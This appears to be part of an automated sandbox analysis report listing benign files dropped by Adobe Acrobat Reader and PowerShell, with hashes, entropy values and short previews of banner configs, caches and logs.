Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308484829801227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfFldPeUkwRe9:YvXKXFyMdYpW7QcGz8Ukee9
MD5:	465489E7ECBAC4D2AA9B36812B02A52F
SHA1:	1D628914EEA25FE94A9AF9F6BBBE5CC777FEA740
SHA-256:	6D70F145D449B374EF04ACADE6122C5EF1F6896278BD226A4D164414290A2C46
SHA-512:	2DA05ACCBAFEB5E8702AEC9695939C553D81FB13EC6618419A9DFF95CC88D5653840E0FDD813F9FC0512E9CB15AAE68EE9E7AD584D4396F37A62EE782F3C0C9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3156667704329275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfzdPeUkwRe9:YvXKXFyMdYpW7QcGb8Ukee9
MD5:	96D2B76E459D6950D3C6382C4AE58526
SHA1:	6D83FCE4C26AB99412140C327818A121504A425A
SHA-256:	ACC4FC0C567788894C4885AB1A64782C117F7382AEBC21CFD92C0A8BF0792256
SHA-512:	72914827B712B6631F6F55D88F4FB63A994F6BE8B87D01D18545D968E77365557F9D8951E3B1AFE31EB2B87201233907A965B0775C02D2708E0FFE26D29D57CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296233761985459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfYdPeUkwRe9:YvXKXFyMdYpW7QcGg8Ukee9
MD5:	54CB9B279A79A85F1A8EA67F7D028E53
SHA1:	77BC53FCC1E83E1E120F11A859DA01689C2474E8
SHA-256:	755B10584A57CE4DFB595771BFF5A379BFA731DAD36D562A3B1591DC88848E19
SHA-512:	9849F04EB31D6A50D27C1AA6B7D152976AFA6AF6DAACC5B0A10DD241CE2F0C1D8986410206B0F5D5B114BE403D6F2CFB354684FD46C821500B3EFF8B71197AE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282217827801035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJf+dPeUkwRe9:YvXKXFyMdYpW7QcG28Ukee9
MD5:	E8AAD84760BE301250CEEB379D2E2A5A
SHA1:	E0FB763156950F7490D365DF995E8BB44F8A3BF1
SHA-256:	2EFED9C2308F5AD75157B4CAE48C4097E977DCABAFFECEE94BB2F8220D696E91
SHA-512:	617BC0EA5888E111F8029B67D8953B0C4BE0E58A3F000217F9087F21C35A9B3C90BE94B9B571578953AC65558C7FC98BCAB24B6D53485689FC2C42E319E8EC4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.279806744456674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfbPtdPeUkwRe9:YvXKXFyMdYpW7QcGDV8Ukee9
MD5:	864E099E90981ABBE238E5DC45DB0A1B
SHA1:	8C02532088B93DC560B48A17395058379829FDE2
SHA-256:	451971F81C36448890FF61B6A76414226AC3DDF129D6684607305B8B4D456D55
SHA-512:	DD1CF961BAC02191294BF93EBFFB5F82E9BBE4E7B920653774F2F4974A9A587ADD032FBD6BEAEB9C75C788B4164B8E240CCDF5DD80123FF5EC8DF93DFE029A38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281427833381603
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJf21rPeUkwRe9:YvXKXFyMdYpW7QcG+16Ukee9
MD5:	5F87BB52CFF1D6B53A0EC701133132FE
SHA1:	634B16CDC97F4A328289A2E84983AE9C5B9A5A27
SHA-256:	F390DE713CB5115D2AD1FC10BCDAE0860C7AF35CA46BFCAB897526754F8058E3
SHA-512:	944339D95AA49ACDFD6767CA9E6F0171F9482F803A2754BA1ED9F7B0C16F80E97B6404C1511F8B28B8A76C348D643052A11A9EA8D41B817D8F7D498101F09438
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664938899854283
Encrypted:	false
SSDEEP:	24:Yv6XN2iWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:Yv2BYBgkDMUJUAh8cvMV
MD5:	2B7991295FB2EC66CDAB4F1E5FA2CF8A
SHA1:	7F2677F11A6909B9EE816B6EF816C12E426D8310
SHA-256:	99DB2301AB4BDD0091393AD0BE275151E8072D43B3DFE47E98EEB0BD7391BE06
SHA-512:	AF61F5C22AB822491E3403387E24739A4A88E73FD93958E8D4554DBB7BCF56D5CB03BD5606AD8FF1371046EE30BAD4F700FC1B131FC45A4575E7449F9496EF18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255732891964115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJfshHHrPeUkwRe9:YvXKXFyMdYpW7QcGUUUkee9
MD5:	16FB61762F2737995CD208AEAA6F288E
SHA1:	DA28E1AE1D280782E4C10C27D7E658AB96BA66F0
SHA-256:	7F0792D7EDC76C2B97650FF3249C0F948FFF67ECFD9806A9CE09C098F5721046
SHA-512:	5D42204622A36E90379D57A47F1C731BF1D5B9D84014F765FDC8E9C9747F08203384061EDDE041D65B292CEDEF654D9404B8C6F55F04F181FE4DB8182898E04F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271542435854968
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFqVwdtSgyx+FIbRI6XVW7+0YIEToAvJTqgFCrPeUkwRe9:YvXKXFyMdYpW7QcGTq16Ukee9
MD5:	408AB5015B87F7AC40644523C2138282
SHA1:	6119C06A9E1672D030090C2A8E25AA3F9C62F926
SHA-256:	1E8A7783B683C03BEEFB57628FEF066CA704940ADB4C39BE2AE9006AB3133EDF
SHA-512:	F860D8DD97B3432B9A0BE8D775B3826292985A16FEB69309193A7D7678264FA530BA671367E4DDF8B5B1798DE1C55633FA21624C2AA7B14B8D12856FC2B29CCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28855cf4-af7b-4dc8-bfd9-3ce5346a2679","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736755538185,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137000142845444
Encrypted:	false
SSDEEP:	24:YnqfcOafmaydRoTwLBkVxc5BcbSt4Mj4Uj0SIuWA42re2LSSCHczJMddQL75cj9R:YqIcmON42fWJAe4mczJMo/49bt
MD5:	D6A75D7A660D9ECBEB6C5CBBF443C1D2
SHA1:	9AC0F85638AAD41A2F71076622E64F31A3E3503D
SHA-256:	834D96C8D9F78C83D1DA5F8AF245DDCC57FD7643D0FF5C852C6B509CB51F8463
SHA-512:	B004FDC41630A78C3A921702F448D2B28A4ABB799A593306227B153DBA02552F005331DBA89A58D4787FC1D095755183BC225C08AF84D462768B8605ABFED6F0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e7f41f1d92e6decf6981b2c8e3f76ad3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581508000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7c4bae9be5d7c2aa090451f16a676c61","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581508000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"90272dbaf4e8cd50fa306077bee32d57","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581508000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"262908c21bada32ecee24d988615f0ea","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581508000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"9c3b187eb931c7b1678ae91db634f934","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581508000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cff2f6c7709e5d628f3e8104407d96d4","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.0034538946027955
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DBkPX6VpbkPuV+n0LVn0eYn0eJ0Ol6VF:TGufl2GL7msvgOyPa4PuM0LV0Z0jOm
MD5:	310EC3E6C125EA10C929DC3A536E1500
SHA1:	B1F059D0FC107CE4773398BB6F74233D51335FBA
SHA-256:	FC0D7EE61C77D296A18E4B4873D7006E9F6FCD7DF122CD44D5C60E47C87229DE
SHA-512:	9369E820FFF7F40C283A9BACBB1301F171CA669C66D886E02D96E5B0E9E7414BCA1821AA59C8CB4A2799FB78C64D30D76001A8A667088DE2B1BECA53D2A986C6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3675880471689963
Encrypted:	false
SSDEEP:	24:7+tb1RZKHs/Ds/Spb6VpbkPuV+n0LVn0eYn0eJ0Ol6VtqLhx/XYKQvGJF7ursr:7MJgOVpG4PuM0LV0Z0jOgqFl2GL7msr
MD5:	B00A5C0D3E8DEDB5D65EB4472E8D4EC0
SHA1:	9620C56EE65DDF77D2B8DDD4757EE2E8219AB326
SHA-256:	F27A8D442C5C223F7C68515590414EA0BACF10BB6E7979340EEDFC111A8DEE9A
SHA-512:	B35ACAA51858BA18803332CB2A8384218206517604B7DB891001FFB15C4CFFBF40DFD24E91D76BB595E98F0A67A5DAA5312B5AA9A3A8ED79AD7982C3D6716750
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgRyTeAew6U1v+LLH55pzMml/TRXPJ9Yyu:6a6TZ44ADE3w+L9fMml/RP/K
MD5:	356B79F57407268DB2FBA33F6C986567
SHA1:	BBA36EA2AE8A3C818AA1D6F82EE20747221CA1B3
SHA-256:	5E45A6604D2580B286D53771FDE79963E1F7E29E7C8AAB70C4FCC59A87582AF0
SHA-512:	3EF87308F5E62DA8169F151AC02B7869CD5FAB20241BD3A785FEF33C8713AC6AF8A0D3913D3DA36CC1D875BD30336676EA038C245DF75FBB3852731B0B530B56
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI21984.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clyele:Qw946cPbiOxDlbYnuRKd/
MD5:	82D441D9A7E4B90A94A3D4910B76F1AE
SHA1:	A9964BB7535E7074E40AC891A26B0C182D485099
SHA-256:	76BBD425A2D117515C88F25B38C741FFB79F6F8E29875C7FA0138BD9C720AB19
SHA-512:	976652355389FACA0BCF8846A6197EB45D7CD747E2AC74FCED9DA3AA8F1731E15382F486B24AEF802E5A70C7FC1BCA128BBF2FAF295EBD7EDCE540D7B141B143
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.5.:.0.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13p0tayc.crq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwpbjos3.ug2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91j813xe_3sm521_4l8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-45-00-561.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344963477915505
Encrypted:	false
SSDEEP:	384:k7vnGabOHHsc9I0Yt4AIThDuOtCmfWiFcvAUi2SmYVTfN5Y7pokXpMpw9GcWuTrd:XwT
MD5:	98126D085A6B71647592A2C519E67467
SHA1:	B8438EE4BC24D674D7BEB9046C8DF054383A4F89
SHA-256:	9AABA4EFA593D23D6F1CCC011347E54FFA4B47939D25D75E7B97723D3F44325F
SHA-512:	152E176427D07EEFC0AF289526819A947C9B6C2A70A879FAB68548F2032EE062E97445B734A7353C5E0F99794208A5152B50AD789DE32015B7939445F0BD908D
Malicious:	false
Preview:	SessionID=cbe5679a-179d-4822-a2ea-96f411f7a4a3.1736581500573 Timestamp=2025-01-11T02:45:00:573-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cbe5679a-179d-4822-a2ea-96f411f7a4a3.1736581500573 Timestamp=2025-01-11T02:45:00:574-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cbe5679a-179d-4822-a2ea-96f411f7a4a3.1736581500573 Timestamp=2025-01-11T02:45:00:574-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cbe5679a-179d-4822-a2ea-96f411f7a4a3.1736581500573 Timestamp=2025-01-11T02:45:00:575-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cbe5679a-179d-4822-a2ea-96f411f7a4a3.1736581500573 Timestamp=2025-01-11T02:45:00:575-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
